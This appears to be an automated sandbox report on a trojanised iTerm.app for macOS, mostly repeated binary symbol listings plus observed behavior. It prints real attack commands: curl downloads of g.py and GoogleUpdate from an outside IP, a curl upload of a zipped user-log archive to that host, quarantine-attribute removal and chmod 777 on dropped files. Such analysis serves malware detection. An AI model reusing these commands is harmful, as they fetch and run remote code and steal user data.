Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_sshURLsSupportPath
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _sAdvancedSetting_sshURLsSupportPath
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _objc_msgSend
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _objc_msgSendSuper2
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _initialize.observer
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: _initialize.observer
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _default_socket_stream_new
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _default_socket_stream_new
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _default_port_for_scheme
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _default_port_for_scheme
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _custom_transports
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _custom_transports
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_CLASS_RO_$_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_CLASS_RO_$_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_METACLASS_RO_$_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_METACLASS_RO_$_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_$_INSTANCE_METHODS_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_$_INSTANCE_METHODS_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_$_CLASS_METHODS_iTermGitState(GitClient)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_$_INSTANCE_VARIABLES_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_$_INSTANCE_VARIABLES_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_$_PROP_LIST_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_$_PROP_LIST_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _connect
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_odb__error_unsupported_in_backend
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_odb__error_unsupported_in_backend
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: ___22-[iTermGitClient head]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: ___22-[iTermGitClient head]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: ___25-[iTermGitClient repoAt:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: ___25-[iTermGitClient repoAt:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: ___25-[iTermGitClient repoAt:]_block_invoke_2
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: ___25-[iTermGitClient repoAt:]_block_invoke_2
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: ___27-[iTermGitClient oidAtRef:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: ___27-[iTermGitClient oidAtRef:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: ___35-[iTermGitClient initWithRepoPath:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: ___35-[iTermGitClient initWithRepoPath:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: ___41-[iTermGitClient numberOfCommitsFrom:to:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: ___41-[iTermGitClient numberOfCommitsFrom:to:]_block_invoke
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _OBJC_CLASS_$_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _OBJC_CLASS_$_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _OBJC_METACLASS_$_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _OBJC_METACLASS_$_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _SSLSetConnection
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _SSLSetPeerDomainName
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _SetRunningServer
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _SetRunningServer
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_$_CLASS_METHODS_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_$_CLASS_METHODS_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _generate_connect_request
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _generate_connect_request
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _OBJC_IVAR_$_iTermGitClient._defers
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _OBJC_IVAR_$_iTermGitClient._defers
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _OBJC_IVAR_$_iTermGitClient._path
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _OBJC_IVAR_$_iTermGitClient._path
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _gRunningServer
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _gRunningServer
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _OBJC_IVAR_$_iTermGitClient._repo
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _OBJC_IVAR_$_iTermGitClient._repo
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _are_symlinks_supported
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _are_symlinks_supported
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_path_supports_symlinks
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_path_supports_symlinks
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_net_url_is_default_port
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_net_url_is_default_port
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __git_receivepack
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __git_receivepack
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __git_receivepack_ls
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __git_receivepack_ls
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _cmd_receivepack
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _cmd_receivepack
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _close_socket
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _close_socket
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _client_write_request
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _client_read_and_parse
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _client_write_request
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _client_read_and_parse
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _client_read
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _client_read
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_response_is_redirect
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_response_is_redirect
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_response_dispose
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_response_dispose
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_skip_body
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_skip_body
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_send_request
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_send_request
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_send_body
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_send_body
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_read_response
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_read_response
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_read_body
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_read_body
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_new
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_new
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_has_response
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_has_response
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_free
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_client_free
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_auth_ntlm
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_auth_ntlm
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_auth_dummy
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_auth_dummy
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_auth_basic
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http_auth_basic
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http__user_agent
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http__user_agent
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http__expect_continue
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_http__expect_continue
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _add_push_report_pkt
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _add_push_report_pkt
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _add_push_report_sideband_pkt
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _add_push_report_sideband_pkt
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _apply_server_credentials
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _apply_server_credentials
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _check_object_connectivity
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _check_object_connectivity
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _default_socket_stream_new
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _default_socket_stream_new
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _default_port_for_scheme
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _default_port_for_scheme
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _custom_transports
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _custom_transports
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_CLASS_RO_$_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_CLASS_RO_$_iTermGitClient
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: __OBJC_METACLASS_RO_$_iTermGitClient

Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_indexwriter_init_for_operation
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_indexwriter_init_for_operation
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_indexwriter_init_for_operation
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: _git_indexwriter_init_for_operation

Source: submission	Mach-O header: dylib_command -> /System/Library/Frameworks/Security.framework/Versions/A/Security
Source: submission	Mach-O header: dylib_command -> /System/Library/Frameworks/Security.framework/Versions/A/Security

Persistence and Installation Behavior:

Sets full permissions to files and/or directories

Show sources

Source: /bin/sh (PID: 1101)	Chmod executable with 777: /bin/chmod -> chmod 777 /tmp/g.py			Jump to behavior
Source: /bin/sh (PID: 1122)	Chmod executable with 777: /bin/chmod -> chmod 777 /tmp/GoogleUpdate			Jump to behavior

Uploads files by using the "curl" command and emulating a filled-in form

Show sources

Source: /bin/sh (PID: 1120)

Curl file upload using -F: /usr/bin/curl -> curl -F file=@/Users/ben/Library/Logs/tmp.zip http://47.75.123.111/u.php?id=C07SW433G1HW -v

Jump to behavior

Modifies application binary files in "Applications" directory

Show sources

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/MacOS/iTerm2	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/MacOS/iTerm2	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/MacOS/iTermServer	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/MacOS/ShellLauncher	Jump to behavior

Source: /bin/sh (PID: 1047)	Kill executable: /bin/kill -> /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1051)	Kill executable: /bin/kill -> /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1053)	Kill executable: /bin/kill -> /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1055)	Kill executable: /bin/kill -> /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1057)	Kill executable: /bin/kill -> /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1059)	Kill executable: /bin/kill -> /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1061)	Kill executable: /bin/kill -> /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1063)	Kill executable: /bin/kill -> /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1065)	Kill executable: /bin/kill -> /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1067)	Kill executable: /bin/kill -> /bin/kill -0 1036	Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Hdiutil command executed: /usr/bin/hdiutil info -plist			Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	Hdiutil command executed: /usr/bin/hdiutil info -plist

Source: /bin/sh (PID: 1110)	Grep executable: /usr/bin/grep -> grep IOPlatformSerialNumber			Jump to behavior
Source: /bin/sh (PID: 1119)	Grep executable: /usr/bin/grep -> grep IOPlatformSerialNumber			Jump to behavior

Source: /usr/bin/curl (PID: 1121)

64-bit Mach-O written to tmp path: /private/tmp/GoogleUpdate

Jump to dropped file

Source: /bin/sh (PID: 1069)

Application opened: /usr/bin/open /Applications/iTerm.app

Jump to behavior

Source: /bin/sh (PID: 1068)

Xattr command executed: /usr/bin/xattr -d -r com.apple.quarantine /Applications/iTerm.app

Jump to behavior

Source: /bin/sh (PID: 1101)	Chmod executable: /bin/chmod -> chmod 777 /tmp/g.py			Jump to behavior
Source: /bin/sh (PID: 1122)	Chmod executable: /bin/chmod -> chmod 777 /tmp/GoogleUpdate			Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Resources/PowerlineLineLeftArrow.pdf	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Resources/PowerlineLineRightArrow.pdf	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Resources/PowerlineLN.pdf	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Resources/PowerlinePadlock.pdf	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Resources/PowerlineSolidLeftArrow.pdf	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Resources/PowerlineSolidRightArrow.pdf	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Resources/PowerlineVersionControlBranch.pdf	Jump to dropped file

Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1102)

ZIP file created: /Users/ben/Library/Logs/tmp.zip

Jump to dropped file

Source: /bin/sh (PID: 1100)	Curl executable: /usr/bin/curl -> curl -sfo /tmp/g.py http://47.75.123.111/g.py	Jump to behavior
Source: /bin/sh (PID: 1120)	Curl executable: /usr/bin/curl -> curl -F file=@/Users/ben/Library/Logs/tmp.zip http://47.75.123.111/u.php?id=C07SW433G1HW -v	Jump to behavior
Source: /bin/sh (PID: 1121)	Curl executable: /usr/bin/curl -> curl -sfo /tmp/GoogleUpdate http://47.75.123.111/GoogleUpdate	Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Launchservices plist file read: /Users/ben/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Launchservices plist file read: /Users/ben/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	Launchservices plist file read: /Users/ben/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist	Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	CFNetwork info plist opened: /System/Library/Frameworks/CFNetwork.framework/Resources/Info.plist	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	CFNetwork info plist opened: /System/Library/Frameworks/CFNetwork.framework/Resources/Info.plist	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	CFNetwork info plist opened: /System/Library/Frameworks/CFNetwork.framework/Resources/Info.plist	Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/BetterFontPicker: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/ColorPicker: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/Frameworks/CoreParse.framework/Versions/A/CoreParse: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftAppKit.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftCloudKit.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftContacts.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
